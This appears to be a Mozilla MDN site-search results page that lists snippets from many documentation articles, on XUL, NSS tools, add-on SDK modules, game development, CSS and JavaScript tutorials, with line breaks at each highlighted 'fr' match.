from a terminal when installed locally, you must add the directory "$home/node_modules/.bin/" to your terminal's path first.
... add the following line to the end of the file $home/.profile to add it to your path permanently (as the file .profile is executed every time a new terminal is opened): export path="$home/node_modules/.bin/:$path" installing jpm
from git alternatively, you can also get the latest version of jpm using git: git clone https://github.com/mozilla-jetpack/jpm.git cd jpm npm install npm link after installing jpm after installation, at the command prompt, type: jpm you should see a screen summarizing the available jpm commands.
...And 11 more matches
Localization - Archive of obsolete content
entry for each string you want to localize, consisting of an identifier for the string and its translation in that locale, in the format identifier=translation need to use utf-8 without bom encoding lines starting with "#" (after optional whitespace) are comments suppose your add-on contains a single localizable string, represented in english as "hello!", and you want to supply us english and
french
french localizations.
... you'd add two files to the "locale" directory: my-addon/ data lib locale/ en-us.properties
fr.properties "en-us.properties" contains this: hello_id= hello!
... "
fr.properties" contains this: hello_id= bonjour !
...And 11 more matches
Security best practices in extensions - Archive of obsolete content
this is written
from the perspective of a firefox extension, but most items apply to extensions for other mozilla-based applications such as thunderbird or seamonkey.
... the privileges that a document gets also depend on where it comes
from.
...content
from a domain (such as http://www.example.com) can only access that same domain.
...And 11 more matches
Signing an XPI - Archive of obsolete content
it was developed
from the linux article so you want to sign your xpi package?
...download the latest network security services (nss) package
from the mozilla ftp site at https://ftp.mozilla.org/pub/mozilla.or.../nss/releases/.
...download the latest netscape portable runtime
from the mozilla ftp site: http://ftp.mozilla.org/pub/mozilla.org/nspr/releases/.
...And 11 more matches
Tamarin build documentation - Archive of obsolete content
the work for that fix also included some changes to the configure.py default behavior to decouple the --target switch
from sdk choice: there is a new switch, --mac-sdk, that selects the 10.4u, 10.5 or 10.6 sdk.
...the setup procedure below creates an android sdk/ndk entirely
from publicly available sources.
... - download the android 2.3.3 mac sdk zip file
from http://developer.android.com/sdk/index.html.
...And 11 more matches
Binding Attachment and Detachment - Archive of obsolete content
whenever an element is removed
from a document, any bindings attached via css loaded by the document will be detached.
... when a binding is attached using the dom, it inherits
from the current most derived binding that may already be attached to the element.
... if a binding is attached and it already specifies an inherited binding using the extends attribute, then the base binding at the end of the inheritance chain is the one that will inherit
from the most derived binding that is already attached.
...And 11 more matches
The Joy of XUL - Archive of obsolete content
xul (pronounced "zool") is mozilla's xml-based user interface language that lets you build feature rich cross-platform applications that can run connected to or disconnected
from the internet.
... separation of presentation
from application logic one of the major downfalls of most web applications is the tight coupling of user interface elements with client application logic.
...an application that is written and deployed with an english language user interface can be translated to
french for the same customer.
...And 11 more matches
Writing Skinnable XUL and CSS - Archive of obsolete content
mozilla can have any number of installed ui packages,
from navigator to sidebar to editor.
...if you wish for your package to blend in with the other packages, then the skin for your package should inherit information
from the global skin in order to reduce the amount of duplication across packages and in order to make the ui as a whole easier to skin.
...for example, the skin for the navigator package should contain a file called navigator.css that determines the default look of all xul windows posed
from this package.
...And 11 more matches
Game distribution - Game development
this can range
from low-end smartphones or tablets, through laptops and desktop computers, to smart tvs, watches or even a
fridge if it can handle a modern enough browser.
...if your user finds a bug, you can quickly fix it, update the system and re
fresh the game on your server to provide players with the updated code almost instantly.
... desktop vs mobile the vast majority of the traffic we are interested in — people playing html5 games — comes
from mobile devices so that's something you will have to focus on if you truly want to succeed.
...And 11 more matches
Game promotion - Game development
there are many ways to promote your game — most of them being
free, so even if you're struggling to make a living as an indie dev with zero budget you can still do a lot to let people know about your great new game.
... competitions taking part in competitions will not only level up your gamedev skills and let you meet new devs to be
friend and learn
from — and it will also get you involved in the community.
... while you can create your website
from scratch, there are also tools that can help make the process easier.
...And 11 more matches
Explaining basic 3D theory - Game development
color: holds an rgba value (r, g and b for the red, green, and blue channels, alpha for transparency — all values range
from 0.0 to 1.0).
...the geometry is built
from a vertex and the face, while material is a texture, which uses a color or an image.
...the graphics rendering pipeline takes the 3d objects built
from primitives described using vertices, applies processing, calculates the
fragments and renders them on the 2d screen as pixels.
...And 11 more matches
Choosing the right approach - Learn web development
not as efficient as requestanimation
frame(), but allows you to choose a running rate/
frame rate.
...we then run it once per second using setinterval(), creating the effect of a digital clock that updates once per second (see this live, and also see the source): function displaytime() { let date = new date(); let time = date.tolocaletimestring(); document.getelementbyid('demo').textcontent = time; } const createclock = setinterval(displaytime, 1000); pitfalls the
frame rate isn't optimized for the system the animation is running on, and can be somewhat inefficient.
... unless you need to choose a specific (slower)
framerate, it is generally better to use requestanimation
frame().
...And 11 more matches
Functions — reusable blocks of code - Learn web development
ulated a text string, for example: let mytext = 'i am a string'; let newstring = mytext.replace('string', 'sausage'); console.log(newstring); // the replace() string function takes a source string, // and a target string and replaces the source string, // with the target string, and returns the newly formed string or every time we manipulated an array: let myarray = ['i', 'love', 'chocolate', '
frogs']; let madeastring = myarray.join(' '); console.log(madeastring); // the join() function takes an array, joins // all the array items together into a single // string, and returns this new string or every time we generated a random number: let mynumber = math.random(); // the random() function generates a random number between // 0 and up to but not including 1, and returns that number ...w...
... note: feel
free to enter these lines into your browser's javascript console to re-familiarize yourself with their functionality, if needed.
...in our random-canvas-circles.html example (see also the full source code)
from our loops article, we included a custom draw() function that looked like this: function draw() { ctx.clearrect(0,0,width,height); for (let i = 0; i < 100; i++) { ctx.beginpath(); ctx.fillstyle = 'rgba(255,0,0,0.5)'; ctx.arc(random(width), random(height), random(50), 0, 2 * math.pi); ctx.fill(); } } this function draws 100 random circles inside a <canvas> element.
...And 11 more matches
Ember resources and troubleshooting - Learn web development
previous overview: client-side javascript
frameworks next our final ember article provides you with a list of resources that you can use to go further in your learning, plus some useful troubleshooting and other information.
... how do i debug what's going on in the
framework?
... for
framework-specific things, there is the ember-inspector add-on, which allows inspection of: routes & controllers components services promises data (i.e:
from a remote api —
from ember-data, by default) deprecation information render performance for general javascript debugging, check out our guides on javascript debugging as well as interacting with the browser's other debugging tools.
...And 11 more matches
Adding a new todo form: Vue events, methods, and models - Learn web development
previous overview: client-side javascript
frameworks next we now have sample data in place, and a loop that takes each bit of data and renders it inside a todoitem in our app.
...go back to app.vue and add the following import statement just below the previous one, inside your <script> element: import todoform
from './components/todoform'; you also need to register the new component in your app component — update the components property of the component object so that it looks like this: components: { todoitem, todoform } finally for this section, render your todoform component inside your app by adding the <to-do-form /> element inside your app's <template>, like so: <template> ...
...for displaying data that comes
from calculations, you should use a computed property, which we'll cover later.
...And 11 more matches
SVN for Localizers
here you'll learn the process of using svn to obtain mozilla website source files
from the mozilla servers and pushing your localizations right back to them.
... brief intro to svn svn (abbreviation for subversion) is a
free and open source repository tool we use to manage the localized mozilla web pages.
...this may seem confusing, but don't
fret because we'll make sure to differentiate between the two here: svn server: this is installed on one of mozilla's servers that we use to manage our localizable web system.
...And 11 more matches
Creating localizable web applications
note: most of the code snippets used in the examples below come
from an early version of the getpersonas.com website.
...for example, if not all the pages of your website are going to be localized, you may consider removing links to the english-only pages
from the navigation (headers, footers, sidebars) in the localized versions.
...good: body.de foo, body.
fr foo, body.pl foo { /* locale-specific rules for the foo element */ width: 10em; /* originally 8em */ } adapt the interaction to rtl locales right-to-left locales not only require good images handling (see images), but also should be taken into account when designing the interaction on the website.
...And 11 more matches
Introduction to NSPR
it must be used
from the beginning of a software project.
...each thread is an execution entity that is scheduled independently
from other threads in the same process.
...a thread is created by an explicit client request and remains a valid, independent execution entity until it returns
from its root function or the process abnormally terminates.
...And 11 more matches
nss tech note5
if not using cbc mode, just pass a null iv parm to pk11_param
fromiv function secitem ivitem; ivitem.data = /* ptr to an array of iv bytes */ ivitem.len = /* length of the array of iv bytes */ secitem *secparam = pk11_param
fromiv(ciphermech, &ivitem);</big> <big>now encrypt and decrypt using the key and parameter setup in above steps</big> create encryption context pk11context* enccontext = pk11_createcontextbysymkey(cipher...
...when all done with encrypt/decrypt ops, clean up</big> <big>pk11_
freesymkey(symkey); secitem_
freeitem(secparam, pr_true); pk11_
freeslot(slot);</big> note: aes encryption, a fixed blocksize of 16 bytes is used.
...the key <big>secstatus s = pk11_digestbegin(digestcontext); s = pk11_digestkey(digestcontext, symkey); s = pk11_digestop(digestcontext, data, sizeof data); s = pk11_digestfinal(digestcontext, digest, &len, sizeof digest); /* now, digest contains the 'digest', and len contains the length of the digest */</big> clean up pk11_destroycontext(digestcontext, pr_true); pk11_
freesymkey(symkey); pk11_
freeslot(slot); you can also look at a sample program illustrating this hmac include headers #include "nss.h" #include "pk11pub.h" make sure nss is initialized.the simplest init function, in case you don't need a nss database is nss_nodb_init(".") choose a hmac mechanism.
...And 11 more matches
NSS tools : pk12util
nss tools : pk12util name pk12util — export and import keys and certificate to or
from a pkcs #12 file and the nss database synopsis pk12util [-i p12file|-l p12file|-o p12file] [-d [sql:]directory] [-h tokenname] [-p dbprefix] [-r] [-v] [-k slotpasswordfile|-k slotpassword] [-w p12filepasswordfile|-w p12filepassword] description the pkcs #12 utility, pk12util, enables sharing certificates among any server that supports pkcs#12.
... the tool can import certificates and keys
from pkcs#12 files into security databases, export certificates, and list certificates and keys.
... options and arguments options -i p12file import keys and certificates
from a pkcs#12 file into a security database.
...And 11 more matches
NSS tools : pk12util
name pk12util — export and import keys and certificate to or
from a pkcs #12 file and the nss database synopsis pk12util [-i p12file [-h tokenname] [-v] [common-options] ] [ -l p12file [-h tokenname] [-r] [common-options] ] [ -o p12file -n certname [-c keycipher] [-c certcipher] [-m|--key_len keylen] [-n|--cert_key_len certkeylen] [common-options] ] [ common-options are: [-d [sql:]directory] [-p dbprefix] [-k slotpasswordfile|-k slotpassword] [-w p12filepasswordfile|-w p12filepassword] ] description the pkcs #12 utility, pk12util, enables sharing certificates among any server that supports pkcs#12.
... the tool can import certificates and keys
from pkcs#12 files into security databases, export certificates, and list certificates and keys.
... options and arguments options -i p12file import keys and certificates
from a pkcs#12 file into a security database.
...And 11 more matches
GCIntegration - SpiderMonkey Redirect 1
{{ svg{source: "http://people.mozilla.org/~wmccloskey/incremental1.svg", embedding: "i
frame", height:"130"} }} assume object b is already marked, as in the leftmost
frame, while objects a and c have not been marked yet.
... in the middle
frame some code creates a pointer
from b to c and destroys the pointer
from a to c.
... in the last
frame, a gets marked by the gc.
...And 11 more matches
Using XPCOM Utilities to Make Things Easier
xpcom macros the xpcom
framework includes a number of macros for making c++ development easier.
...when you use these implementation macros, you must declare a constructor for the object, and this keeps you
from having to write a factory object.
...inside the macro, the interface name expands to ns_get_iid(), which is another macro that extracts the iid
from the generated header of the interface.
...And 11 more matches
nsIHTMLEditor
inherits
from: nsisupports last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) method overview void adddefaultproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void addinsertionlistener(in nsicontentfilter infilter); void align(in astring aalign); boolean breakisvisible(in nsidomnode anode); boolean candrag(in nsidomevent aevent); void checkselectionstateforanonymousbuttons(in nsiselection aselection); nsidomelement createanonymouselement(in astring atag, in nsidomnode aparentnode, in astring aanonclass, in boolean aiscreatedhidden); nsidomelement createelementwithdefaults(in astrin...
...ut boolean amixed); nsidomelement getselectedelement(in astring atagname); nsidomelement getselectioncontainer(); void ignorespuriousdragevent(in boolean aignorespuriousdragevent); void increasefontsize(); void indent(in astring aindent); void insertelementatselection(in nsidomelement aelement, in boolean adeleteselection); void insert
fromdrop(in nsidomevent aevent); void inserthtml(in astring ainputstring); void inserthtmlwithcontext(in astring ainputstring, in astring acontextstr, in astring ainfostr, in astring aflavor, in nsidomdocument asourcedoc, in nsidomnode adestinationnode, in long adestinationoffset, in boolean adeleteselection); void insertlinkaroundselection(in nsidomelement aanchorelement)...
...; boolean isanonymouselement(in nsidomelement aelement); void makeorchangelist(in astring alisttype, in boolean entirelist, in astring abullettype); boolean nodeisblock(in nsidomnode node); void pastenoformatting(in long aselectiontype); void rebuilddocument
fromsource(in astring asourcestring); void removealldefaultproperties(); void removeallinlineproperties(); void removedefaultproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void removeinlineproperty(in nsiatom aproperty, in astring aattribute); void removeinsertionlistener(in nsicontentfilter infilter); void removelist(in astring alisttype); void replaceheadcontentswithhtml(in astring asourcetoinsert); ...
...And 11 more matches
nsINavBookmarksService
1.0 67 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) implemented by: @mozilla.org/browser/nav-bookmarks-service;1.
...okmarksservice); method overview void addobserver(in nsinavbookmarkobserver observer, in boolean ownsweak); void beginupdatebatch(); obsolete since gecko 1.9 void changebookmarkuri(in long long aitemid, in nsiuri anewuri); long long createdynamiccontainer(in long long aparentfolder, in autf8string aname, in astring acontractid, in long aindex); note: renamed
from createcontainer in gecko 1.9 obsolete since gecko 13.0 long long createfolder(in long long aparentfolder, in autf8string name, in long index); void endupdatebatch(); obsolete since gecko 1.9 void exportbookmarkshtml(in nsifile file); obsolete since gecko 1.9 nsiuri getbookmarkedurifor(in nsiuri auri); void getbookmarkfolderstarray(in nsiuri auri, in ...
...obsolete since gecko 1.9 void getbookmarkidsforuri(in nsiuri auri, [optional] out unsigned long count, [array, retval, size_is(count)] out long long bookmarks); note: renamed
from getbookmarkfolders in gecko 1.9 void getbookmarkidsforuritarray(in nsiuri auri, in print64array aresult); native code only!
...And 11 more matches
nsIWebBrowserPersist
inherits
from: nsicancelable last changed in gecko 36.0 (firefox 36.0 / thunderbird 36.0 / seamonkey 2.33) implemented by: @mozilla.org/embedding/browser/nswebbrowser;1 and @mozilla.org/embedding/browser/nswebbrowserpersist;1.
... persistflags unsigned long flags governing how data is fetched and saved
from the network.
... persist_flags_
from_cache 1 only use cached data (could result in failure if data is not cached).
...And 11 more matches
DevTools API - Firefox Developer Tools
to use the gdevtools api
from an add-on, it can be imported with following snippet const { gdevtools } = require("resource:///modules/devtools/gdevtools.jsm"); methods registertool(tooldefinition) registers a new tool and adds a tab to each existing toolbox.
... unregistertool(tool) unregisters the given tool and removes it
from all toolboxes.
... {toolid}-init(toolbox, i
frame) a tool with the given id has began to load in the given toolbox to the given
frame.
...And 11 more matches
AnalyserNode - Web APIs
the analysernode interface represents a node able to provide real-time
frequency and time-domain analysis information.
... it is an audionode that passes the audio stream unchanged
from the input to the output, but allows you to take the generated data, process it, and create audio visualizations.
... number of inputs 1 number of outputs 1 (but may be left unconnected) channel count mode "max" channel count 2 channel interpretation "speakers" inheritance this interface inherits
from the following parent interfaces: <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" ...
...And 11 more matches
WebGLRenderingContext.getParameter() - Web APIs
ext.compressed_srgb8_alpha8_astc_10x6_khr ext.compressed_rgba_astc_10x10_khr ext.compressed_srgb8_alpha8_astc_10x10_khr ext.compressed_rgba_astc_12x10_khr ext.compressed_srgb8_alpha8_astc_12x10_khr ext.compressed_rgba_astc_12x12_khr ext.compressed_srgb8_alpha8_astc_12x12_khr gl.cull_face glboolean gl.cull_face_mode glenum gl.
front, gl.back or gl.
front_and_back.
... gl.depth_bits glint gl.depth_clear_value glfloat gl.depth_func glenum gl.depth_range float32array (with 2 elements) gl.depth_test glboolean gl.depth_writemask glboolean gl.dither glboolean gl.element_array_buffer_binding webglbuffer gl.
framebuffer_binding webgl
framebuffer or null null corresponds to a binding to the default
framebuffer.
... see also bind
framebuffer.
...And 11 more matches
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
in the code snippet below, the item is placed 20 pixels
from the top, and 30 pixels
from the left of the container: .container { position: relative; } .item { position: absolute; top: 20px; left: 30px; } <div class="container"> <div class="item">item</div> </div> another place you might see physical keywords in use, is when using text-align: right to align text to the right.
...i have added dir="rtl" to the html element, which switches the writing mode
from the default for an english language document of ltr.
...the second however, switches direction and the text runs
from right to left .
...And 11 more matches
Using CSS transforms - CSS: Cascading Style Sheets
composite transforms are effectively applied in order
from right to left.
... examples here is an unaltered image of the mdn logo: rotating here is the mdn logo rotated 90 degrees
from its bottom-left corner.
...the farther
from the viewer the elements are, the smaller they are.
...And 11 more matches
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
they finally fix issues that
front-end developers have struggled with for years — most notably how to properly cache the assets of a website and make them available when the user’s device is offline.
... they run on a separate thread
from the main javascript code of our page, and don't have any access to the dom structure.
... this introduces a different approach
from traditional web programming — the api is non-blocking, and can send and receive communication between different contexts.
...And 11 more matches
page-worker - Archive of obsolete content
a page worker may be destroyed, after which its memory is
freed, and you must create a new instance to load another page.
...to do this, save the file in your add-on's data directory and create the url using the data.url() method of the self module: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", contenturl: require("sdk/self").data.url("myfile.html") });
from firefox 34, you can use "./myfile.html" as an alias for self.data.url("myfile.html").
...in this example we fetch the first paragraph of a page
from wikipedia, then the first paragraph of a different page: var getfirstparagraph = "var paras = document.getelementsbytagname('p');" + "console.log(paras[0].textcontent);" + "self.port.emit('loaded');" pageworker = require("sdk/page-worker").page({ contentscript: getfirstparagraph, contenturl: "http://en.wikipedia.org/wiki/chalk" }); pageworker.port.on("loaded", function() { pageworker.contenturl = "http://en.wikipedia.or...
...And 10 more matches
tabs - Archive of obsolete content
.log('last: ' + tabs[tabs.length-1].title); }); you can access the currently active tab: var tabs = require('sdk/tabs'); tabs.on('activate', function () { console.log('active: ' + tabs.activetab.url); }); track a single tab given a tab, you can register event listeners to be notified when the tab is closed, activated or deactivated, or when the page hosted by the tab is loaded or retrieved
from the "back-forward cache": var tabs = require("sdk/tabs"); function onopen(tab) { console.log(tab.url + " is open"); tab.on("pageshow", logshow); tab.on("activate", logactivate); tab.on("deactivate", logdeactivate); tab.on("close", logclose); } function logshow(tab) { console.log(tab.url + " is loaded"); } function logactivate(tab) { console.log(tab.url + " is activated"); } f...
... you can't attach style sheets to a tab using tab.attach(), but
from firefox 34 onwards you can attach and detach them using the low-level stylesheet/style and content/mod apis.
... converting to xul tabs to convert
from the high-level tab objects used in this api to the low-level xul tab objects used in the tabs/utils api and by traditional add-ons, use the viewfor() function exported by the viewfor module.
...And 10 more matches
places/bookmarks - Archive of obsolete content
the module does not automatically sync up a bookmark instance with ongoing changes to that item in the database
from the same add-on, other add-ons, or the user.
...; // create a new bookmark instance, unsaved let bookmark = bookmark({ title: "mozilla", url: "http://mozilla.org" }); // attempt to save the bookmark instance to the bookmarks database // and store the emitter let emitter = save(bookmark); // listen for events emitter.on("data", function (saved, inputitem) { // on a "data" event, an item has been updated, passing in the // latest snapshot
from the server as `saved` (with properties // such as `updated` and `id`), as well as the initial input // item as `inputitem` console.log(saved.title === inputitem.title); // true console.log(saved !== inputitem); // true console.log(inputitem === bookmark); // true }).on("end", function (saveditems, inputitems) { // similar to "data" events, except "end" is an aggregate of // all pr...
... adding items: if passing in
freshly instantiated bookmark items or a duck-typed object, the item is created on the platform.
...And 10 more matches
File I/O - Archive of obsolete content
defpro
frt d the root of the default profile directory (for example /root/.mozilla).
... de
frt d %curprocd%/defaults - the root directory of all defaults directories.
... to get a url of a file, use nsiioservice.newfileuri(): // file is nsifile components.utils.import("resource://gre/modules/services.jsm"); var url = services.io.newfileuri(file); // url is a nsiuri; to get the string "file://...", see url.spec to get an nsifile
from the 'file://' url, use nsifileurl: // url is a nsiuri; see nsiioservice::newuri for getting a string into a nsiuri.
...And 10 more matches
HTML to DOM - Archive of obsolete content
this will remove tags like <script>, <style>, <head>, <body>, <title>, and <i
frame>.
...nction htmlparser(ahtmlstring){ var html = document.implementation.createdocument("http://www.w3.org/1999/xhtml", "html", null), body = document.createelementns("http://www.w3.org/1999/xhtml", "body"); html.documentelement.appendchild(body); body.appendchild(components.classes["@mozilla.org/feed-unescapehtml;1"] .getservice(components.interfaces.nsiscriptableunescapehtml) .parse
fragment(ahtmlstring, false, null, body)); return body; } it works by creating a content-level (this is safer than chrome-level) <div> in the current page, then parsing the html
fragment and attaching that
fragment to the <div>.
...s the element name html (instead of body), you have all document object with its complete functions list, therefore you can retrieve info within div tag like this: var dompars = htmlparser("<div id='userinfo'>john was a mediocre programmer, but people liked him <strong>anyway</strong>.</div>"); alert(dompars.getelementbyid('userinfo').innerhtml); to parse a complete html page, load it into an i
frame whose type is content (not chrome).
...And 10 more matches
Intercepting Page Loads - Archive of obsolete content
the easy way: load events this comes
from the tabbrowser code snippets page.
... in a nutshell,
from the chrome code in the overlay we add an event listener for the load event.
... let doc = event.originaltarget; if (doc instanceof htmldocument) { // is this an inner
frame?
...And 10 more matches
XPCOM Objects - Archive of obsolete content
taken
from the xpcom page.
...most of the objects and functions in the lower layers are hidden
from the chrome; those that need to be publicized are exposed through xpcom components and interfaces.
...this is generated
from source, and it's kept relatively up to date.
...And 10 more matches
Index of archived content - Archive of obsolete content
chrome console/plain-text console/traceback content/content content/loader content/mod content/symbiont content/worker core/heritage core/namespace core/promise dev/panel event/core event/target
frame/hidden-
frame
frame/utils fs/path io/byte-streams io/file io/text-streams lang/functional lang/type loader/cuddlefish loader/sandbox net/url net/xhr places/bookmarks places/favicon places/history ...
...ystem/child_process system/environment system/events system/runtime system/unload system/xul-app tabs/utils test/assert test/harness test/httpd test/runner test/utils ui/button/action ui/button/toggle ui/
frame ui/id ui/sidebar ui/toolbar util/array util/collection util/deprecate util/list util/match-pattern util/object util/uuid window/utils release notes tools ...
... snippets alerts and notifications autocomplete bookmarks boxes canvas code snippets cookies customizing the download progress bar delayed execution dialogs and prompts downloading files drag & drop embedding svg examples and demos
from articles file i/o finding window handles forms related code snippets html in xul for rich tooltips html to dom isdefaultnamespace js xpcom javascript debugger service javascript timers javascript daemons management ...
...And 10 more matches
Editor Embedding Guide - Archive of obsolete content
in the beginning there is makeeditable given an nsiwebbrowser instance, get an nsidomwindow
from the getcontentdomwindow call.
... then simply call nsiwebbrowser->do_getinterface on the nsiwebbrowser to retrieve the nsieditingsession
from it.
...
from there you call editingsession->makewindoweditable(domwindow, editortype, pr_true).
...And 10 more matches
JavaScript Client API - Archive of obsolete content
this document is somewhat outdated, and the api isn't well-supported for use
from add-ons; tread carefully.
... further, you agree (a) to maintain and link to (including on websites
from which your third party client may be downloaded) a separate, conspicuous, and reasonably detailed privacy policy detailing how data collected or transmitted by your third party client is managed and protected; (b) that your third party client will only store data in encrypted form on the firefox sync servers operated by mozilla; (c) that you and your third party client will use the firefox sync...
...entification conventions; and (e) that you and your third party client will not use the firefox sync apis for any application or service that replicates or attempts to replicate the services or firefox sync experience unless such use is non-confusing (by non-confusing, we mean that people should always know with whom they are dealing and where the information or software they are downloading came
from).
...And 10 more matches
XULRunner Hall of Fame - Archive of obsolete content
azardi
free win/mac/linux epub 2/epub 3 desktop reader using html5 and latest css features of gecko for interactive e-books.
...build instructions pencil the pencil project's unique mission is to build a
free and opensource tool for making diagrams and gui prototyping that everyone can use.
...source yoono desktop win/mac application to get all your
friend updates, update your status and share stuff easily across facebook, myspace, twitter, and more - all at once!
...And 10 more matches
NPAPI plugin reference - Archive of obsolete content
npapi plug-in side api this chapter describes methods in the plug-in api that are available
from the plug-in object; these allow plug-ins to interact with the browser.
... npbyterange represents a particular range of bytes
from a stream.
... npn_getauthenticationinfo the function is called by plugins to get http authentication information
from the browser.
...And 10 more matches
Game monetization - Game development
paid games the first, most obvious choice that may come to your mind might be selling the games the way it is done for huge aaa titles — with a fixed, up
front price.
...you have to follow the market and do your own research — learning
from your mistakes quickly is important.
... in-app purchases instead of having people pay for your game up
front, you can offer a
free game with in-app purchases (iaps.) in this case the game can be acquired without spending a dime — give the game to the players, but offer in-game currency, bonuses or benefits for real money.
...And 10 more matches
Building up a basic demo with Three.js - Game development
we are not trying to say it is better than any other webgl library available, and you should feel
free to try another library, such as copperlicht, glge, or playcanvas.
...our render() function will do this job, with a little help
from requestanimation
frame(), which causes the scene to be re-rendered constantly on every
frame: function render() { requestanimation
frame(render); renderer.render(scene, camera); } render(); on every new
frame the render function is invoked, and the renderer renders the scene and the camera.
...detail like drawing required vertices and faces, for a given shape, is handled by the three
framework, so we can focus on higher level coding.
...And 10 more matches
Introduction to events - Learn web development
you can gather
from this (and
from glancing at the mdn event reference) that there are a lot of events that can be responded to.
... the example output is as follows: it's not just web pages another thing worth mentioning at this point is that events are not unique to javascript — most programming languages have some kind of event model, and the way the model works often differs
from javascript's way.
... in fact, the event model in javascript for web pages differs
from the event model for javascript as it is used in other environments.
...And 10 more matches
Componentizing our React app - Learn web development
previous overview: client-side javascript
frameworks next at this point, our app is a monolith.
...open it up and give it its first line: import react
from "react"; since we're going to make a component called todo, you can start adding the code for that to todo.js too, as follows.
...go back to src/app.js, copy the first <li>
from inside the unordered list, and paste it into todo.js so that it reads like this: export default function todo() { return ( <li classname="todo stack-small"> <div classname="c-cb"> <input id="todo-0" type="checkbox" defaultchecked={true} /> <label classname="todo-label" htmlfor="todo-0"> eat </label> </div> <div classname="btn-group"> <button type="button" classname="btn"> edit <span classname="visually-hidden">eat</span> </button> <button type="button" classname="btn btn...
...And 10 more matches
Handling common JavaScript problems - Learn web development
these days, most cross-browser javascript problems are seen: when poor-quality browser-sniffing code, feature-detection code, and vendor prefix usage block browsers
from running code they could otherwise use just fine.
... to install it: install atom (if you haven't got an up-to-date version already installed) — download it
from the atom page linked above.
...this is supposed to be fetched
from an external .json file using the following xmlhttprequest call: let requesturl = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; let request = new xmlhttprequest(); request.open('get', requesturl); request.send(); let superheroes = request.response; populateheader(superheroes); showheroes(superheroes); but this fails.
...And 10 more matches
source-editor.jsm
this component has been removed
from the platform in firefox 28.
...you can then use this value to detect when the contents of the text are different
from your most recent save.
...when using the default orion editor, this is a xul <xul:i
frame> element.
...And 10 more matches
Investigating leaks using DMD heap scan mode
this will keep the watch dog
from killing the browser when shut down takes multiple minutes.
...
from this chart, you can see how many objects of a particular type were leaked through shutdown.
...if you are investigating a leak of www.example.com, then
from $logdir you can do "grep nsglobalwindow cc-edges* | grep example.com".
...And 10 more matches
Refcount tracing and balancing
however, having an nscomptr log and using it in the creation of the balance tree allows addref and release calls that we know are matched to be eliminated
from the tree, so it makes it much easier to debug reference count leaks of objects that have a large amount of reference counting traffic.
...this results in slower code, but at least you get some data about where the leaks might be occurring
from.
... you may use an object's serial number with the following variable to further restrict the reference count tracing: xpcom_mem_log_objects set this variable to a comma-separated list of object serial number or ranges of serial number, e.g., 1,37-42,73,165 (serial numbers start
from 1, not 0).
...And 10 more matches
NSS Sample Code Utilities_1
this code shows the following: extract seed
from noise file read der encoding
from a file extract the password
from a text file get the module password print as ascii or hexadecimal sample code #include <prlog.h> #include <termios.h> #include <base64.h> #include <unistd.h> #include <sys/stat.h> #include <prprf.h> #include "util.h" /* * these utility functions are adapted
from those found in * the sectool library used by the nss security tools and * other nss test applications.
... */ /* * newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printasascii */ void printasascii(prfiledesc* out, const unsigned char *data, unsigned int len) { char *b64data = null; b64data = btoa_datatoascii(data, len); pr_fprintf(out, "%s", b64data); pr_fprintf(out, "\n"); if (b64data) { port_
free(b64data); } } /* * printashex */ void printashex(prfiledesc* out, const unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++) { if (i != len - 1) { pr_fprintf(out, "%02x:", data[i]); column ...
...); if (!outbuf->data) { return -1; } if (ishexdata) { while (*instring) { if ((*instring == '\n') || (*instring == ':')) { instring++; continue; } digit1 = getdigit(*instring++); digit2 = getdigit(*instring++); if ((digit1 == -1) || (digit2 == -1)) { port_
free(outbuf->data); outbuf->data = null; return -1; } outbuf->data[truelen++] = digit1 << 4 | digit2; } } else { while (*instring) { if (*instring == '\n') { instring++; continue; } outbuf->data[truelen++] = *instring++; } outbuf->data[tr...
...And 10 more matches
pkfnc.html
pk11_findcert
fromnickname pk11_findkeybyanycert pk11_getslotname pk11_gettokenname pk11_ishw pk11_ispresent pk11_isreadonly pk11_setpasswordfunc pk11_findcert
fromnickname finds a certificate
from its nickname.
... syntax #include <pk11func.h> #include <certt.h> certcertificate *pk11_findcert
fromnickname( char *nickname, void *wincx); parameters this function has the following parameters: nickname a pointer to the nickname in the certificate database or to the nickname in the token.
...when you are finished with the certificate structure returned by pk11_findcert
fromnickname, you must
free it by calling cert_destroycertificate.
...And 10 more matches
Introduction to the JavaScript shell
to get the spidermonkey javascript shell, see the spidermonkey build documentation or download a compiled binary for your platform
from the nightly builds.
...
from a bash console when using a pre-compiled binary, try <path to your firefox's run-mozilla.sh>/run-mozilla.sh ./js -- that worked for me] if you'd like to run the javascript code in the file foo.js, you can use this command: js foo.js to run foo.js then drop into the interactive shell, do this: js -f foo.js -i reference note: because the javascript shell is used as a test environment ...
... built-in functions to make the javascript shell more useful, there are a number of built-in functions provided that you can use either
from javascript programs or in interactive mode.
...And 10 more matches
JS_GetGCParameter
typedef enum jsgcparamkey { jsgc_max_bytes, jsgc_max_malloc_bytes, jsgc_max_nursery_bytes, jsgc_bytes, jsgc_number, jsgc_mode, jsgc_unused_chunks, jsgc_total_chunks, jsgc_slice_time_budget, jsgc_mark_stack_limit, jsgc_high_
frequency_time_limit, jsgc_high_
frequency_low_limit, jsgc_high_
frequency_high_limit, jsgc_high_
frequency_heap_growth_max, jsgc_high_
frequency_heap_growth_min, jsgc_low_
frequency_heap_growth, jsgc_dynamic_heap_growth, jsgc_dynamic_mark_slice, jsgc_allocation_threshold, jsgc_min_empty_chunk_count, jsgc_max_empty_chunk_count, jsgc_compaction_enabled, jsgc...
..._allocation_threshold_factor, jsgc_allocation_threshold_factor_avoid_interrupt, jsgc_nursery_
